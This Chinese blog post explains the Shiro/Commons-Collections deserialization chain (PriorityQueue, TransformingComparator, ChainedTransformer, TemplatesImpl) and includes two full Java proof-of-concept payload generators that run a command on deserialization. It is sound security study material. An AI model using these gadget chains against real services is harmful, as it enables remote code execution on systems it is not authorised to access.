Shiro反序列化漏洞原理代码分析(3)

最终POC

transform链POC

由于我们要序列化的对象是PriorityQueue,所以我们就先实例化一个该对象 并且赋初值

        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);

由于我们最后要调用的是ChainedTransformer对象的transform方法来进行RCE

//ChainedTransformer.transform
public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

所以创建一个ChainedTransformer对象 这个对象为何要这样写在cc链里讲过 就是链式调用

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        Transformer transformerchain = new ChainedTransformer(transformers);

由于我们要调用的链条如下

PriorityQueue.readObject--heapify--siftDown--siftDownUsingComparator(comparator != null)--compare--transform
//PriorityQueue的readObject
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }


private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

//TransformingComparator的compare方法
    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

代码中可以看到要完成一条完整的链,需要满足的条件是comparator != null,所以我们的poc中要给priorityQueue设置一个comparator而且是TransformingComparator类的comparator,而这个TransformingComparator的this.transformer需要是ChainedTransformer类的(因为最终是调用ChainedTransformer的transform)所以创建TransformingComparator对象时,传参是传的ChainedTransformer对象也就是transformerchain

TransformingComparator transforming_Comparator = new TransformingComparator(transformerchain);
Field field = priorityQueue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue,transforming_Comparator);

那么最终poc就是这样的

public class main {
    public static void main(String[] args) throws Exception {
    Object cc1 = CC1();
        serialize(cc1);
        unserialize("ser.bin");
    }
    static Object CC1() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        Transformer transformerchain = new ChainedTransformer(transformers);


        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);

        TransformingComparator transforming_Comparator = new TransformingComparator(transformerchain);
        Field field = priorityQueue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue,transforming_Comparator);
        return priorityQueue;
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

效果如图

InvokerTransformer

TemplatesImpl链的POC

相比调用ChainedTransformer的更加transform的POC要简单一些因为不用去链式调用了嘛,我们只用最后调用一下InvokerTransformer的transform方法实例化一个对象就好了

所以就要实例化一个InvokerTransformer对象并且传给transformer_comparator

InvokerTransformer transformer = new InvokerTransformer(newTransformer",null,null);
TransformingComparator transformer_comparator = new TransformingComparator(transformer);

创建PriorityQueue对象 并add TemplatesImpl_instance(RCE类) 以便compare的时候传入RCE类对象然后transform(TemplatesImpl_instance) 去实例化RCE类的对象

PriorityQueue queue = new PriorityQueue(2,transformer_comparator);
queue.add(TemplatesImpl_instance);
queue.add(TemplatesImpl_instance);

最终就调用了InvokerTransformer的transform方法 实例化了一个RCE类

最终POC

public class main {
    public static void main(String[] args) throws Exception {
    Object cc2 = CC2();
        serialize(cc2);
        unserialize("ser.bin");
    }
    static Object CC2() throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("RCE");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl TemplatesImpl_instance = new TemplatesImpl();

        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");


        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});

        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "ting");

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());

        InvokerTransformer transformer = new InvokerTransformer("newTransformer",null,null);
        TransformingComparator transformer_comparator = new TransformingComparator(transformer);

        PriorityQueue queue = new PriorityQueue(2,transformer_comparator);
        queue.add(TemplatesImpl_instance);
        queue.add(TemplatesImpl_instance);
        return queue;
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

效果图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/412490.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ADS-B Ground Receiver Radarcape

目录 Radarcape ADS-B MLAT Receiver Web Browser User Interface Radarcape Technical Data Radarcape Software Features Radarcape Basics Radarcape ADS-B MLAT Receiver Radarcape is a professional ADS-B receiver made for 24/7 operation. High performance rec…

C# TesseractOCR识别身份证号

https://github.com/tesseract-ocr/tessdata 新建控制台项目并添加包 Tesseract和Tesseract.Drawing 下载训练的模型 地址 代码实现 using Tesseract;var filePath "F:\\Desktop\\韦小宝.png"; var exePath AppDomain.CurrentDomain.BaseDirectory; var …

敏捷开发中如何写好用户故事?

什么是用户故事&#xff1f; 用户故事&#xff08;user story&#xff09;是一个用来确认用户和用户需求的简短描述&#xff0c;作为什么用户&#xff0c;希望如何&#xff0c;这样做的目的或者价值何在。用户故事在软件研发中又被描述为需求。用户故事通常的格式为&#xff1…

人工智能、机器学习和生成式人工智能之间有什么区别?

文 | BFT机器人 在这个数字的智能时代&#xff0c;大家对人工智能、机器学习和生成式人工智能这些名词字眼很熟悉&#xff0c;有些人或许对它们还有一些了解&#xff0c;但是当他们一起出现的时候&#xff0c;大家能够区别它们是什么意思吗&#xff1f;今天小编将带你们详细解…

Spring6学习技术|事务

学习材料 尚硅谷Spring零基础入门到进阶&#xff0c;一套搞定spring6全套视频教程&#xff08;源码级讲解&#xff09; 事务 什么是事务&#xff1f;好像是数据库部分的词&#xff0c;我自己的理解是对数据库进行的操作序列&#xff0c;要么一起完成&#xff0c;要么都不完成…

vue-router4 (一)vite安装并构建项目

1、使用vite构建项目&#xff0c;cmd运行 npm init vitelatest 2、安装vue-router (Vue2安装对应的router3版本&#xff1b;Vue3 安装对应的router4版本) npm install vue-router -s 构建步骤截图如下&#xff1a; 注&#xff1a; vue2使用vetur vue3使用volar 这两个插件…

微信公众号关键词自动回复

今天主要给大家讲一下如何实现微信公众号关键词的自动回复功能&#xff0c;就如网站的文章而言&#xff0c;进行人机识别&#xff0c;需要关注公众号回复验证码获取到验证码从而展示文章内容&#xff0c;&#xff0c;具体效果如下图。 springboot 2.3.2RELEASE 1、微信公众平台…

Spring全面精简总结

Spring两大核心功能&#xff1a;IOC控制反转、AOP面向切面的编程 控制反转(loC&#xff0c;Inversion of Control)&#xff0c;是一个概念&#xff0c;是一种思想。指将传统上由程序代码直接操控的对象调用权交给容器&#xff0c;通过容器来实现对象的装配和管理。控制反转就是…

电感电流波形分析

电感电流波形分析 首先&#xff0c;当电感充电时候&#xff08;红色回路&#xff09;电感左右两端是左正右负 假设在初始状态下&#xff0c;电容两端电压是0V&#xff0c;可以看出来A点电位是400V&#xff0c;B和C两端电容也都是0V 根据电感表达式di/dtUL/L400V/L 所以看得出…

在Pycharm中运行Django项目如何指定运行的端口

方法步骤&#xff1a; 打开 PyCharm&#xff0c;选择你的 Django 项目。在菜单栏中&#xff0c;选择 “Run” -> “Edit Configurations...”。在打开的 “Run/Debug Configurations” 对话框中&#xff0c;选择你的 Django server 配置&#xff08;如果没有&#xff0c;你…

数据脱敏(八)静态脱敏

HuggingFists低代码平台提供Mysql,Postgresql,Oracle,ClickHouse等多种数据库连接插件及配套读写算子。提供ftp,sftp,百度盘&#xff0c;阿里云文件系统&#xff0c;腾讯文件系统等多种文件系统连接插件及配套读写算子。满足用户静态脱敏场景下各种数据源要求。 静态脱敏-数据库…

在Web UI上提交Flink作业

1&#xff09;任务打包完成后&#xff0c;我们打开Flink的WEB UI页面&#xff0c;在右侧导航栏点击“Submit New Job”&#xff0c;然后点击按钮“ Add New”&#xff0c;选择要上传运行的JAR包 JAR包上传完成&#xff0c;如下图所示 &#xff08;2&#xff09;点击该JAR包&…

新加坡大带宽服务器概览

随着全球互联网的迅猛发展&#xff0c;服务器作为支撑网络应用的重要基础设施&#xff0c;扮演着越来越重要的角色。新加坡&#xff0c;作为亚洲四小龙之一&#xff0c;其服务器市场也备受关注。特别是新加坡的大带宽服务器&#xff0c;更是受到了众多企业和个人的青睐。那么&a…

【网安合规】Rsyslog 开源日志服务器 - 快速收集企业网络日志,合规利器!

微信改版了&#xff0c;现在看到我们全凭缘分&#xff0c;为了不错过【全栈工程师修炼指南】重要内容及福利&#xff0c;大家记得按照上方步骤设置「接收文章推送」哦~ 文章目录&#xff1a; 0x00 前言简述 01.缘由 描述: 由于《信息安全技术网络安全等级保护基本要求[GB/T 222…

Nest.js权限管理系统开发(七)用户注册

创建user模块 先用nest的命令创建一个 user 模块&#xff0c; nest g res user 实现user实体 然后就生成了 user 模块,在它的实体中创建一个用户表user.entity.ts&#xff0c;包含 id、用户名、密码,头像、邮箱等等一些字段&#xff1a; Entity(sys_user) export class Us…

部署VUE+SpringBoot+nginx项目

本文是前端是vite element-plus 后端 springBoot 部署整个项目主要分为3个步骤&#xff0c; 1. 部署nginx&#xff0c;主要是配置nginx.conf 2.打包前端代码 3.打包后端代码 1.安装nginx 安装手顺&#xff1a; linux安装nginx_linux安装nginx需要gcc还是gcc-c-CSDN…

什么品牌的护眼台灯比较好用?全网最全护眼台灯避坑指南(内含五大品牌推荐)

在家长们意识到学习过程中优质的光线环境对保护孩子视力的重要性时&#xff0c;如何在众多护眼台灯当中如何选出合格又好用的产品却成为了一大头疼问题。市场上充斥着一些无良厂家生产的劣质产品&#xff0c;很容易误导普通消费者。为了帮助大家避开这些陷阱&#xff0c;我决定…

编译链接库路径设置

/etc/ld.so.conf和LD_LIBRARY_PATH具有同等的作用&#xff0c;都是程序运行时链接的库。 可通过export LIBRARY_PATH~/test/Lib:$LIBRARY_PATH 添加动态库搜索路径&#xff0c;通过printenv | grep LIBRARY查看是否添加成功。

FL Studio All Plugins Edition2024中文完整版Win/Mac

FL Studio All Plugins Edition&#xff0c;常被誉为数字音频工作站&#xff08;DAW&#xff09;的佼佼者&#xff0c;是音乐制作人和声音工程师钟爱的工具。它集音频录制、编辑、混音以及MIDI制作为一体&#xff0c;为用户提供了从创作到最终作品输出的完整工作流程。这个版本…

PDF文件转换为图片

现在确实有很多线上的工具可以把pdf文件转为图片&#xff0c;比如smallpdf等等&#xff0c;都很好用。但我们有时会碰到一些敏感数据&#xff0c;或者要批量去转&#xff0c;那么需要自己写脚本来实现&#xff0c;以下脚本可以提供这个功能~ def pdf2img(pdf_dir, result_path…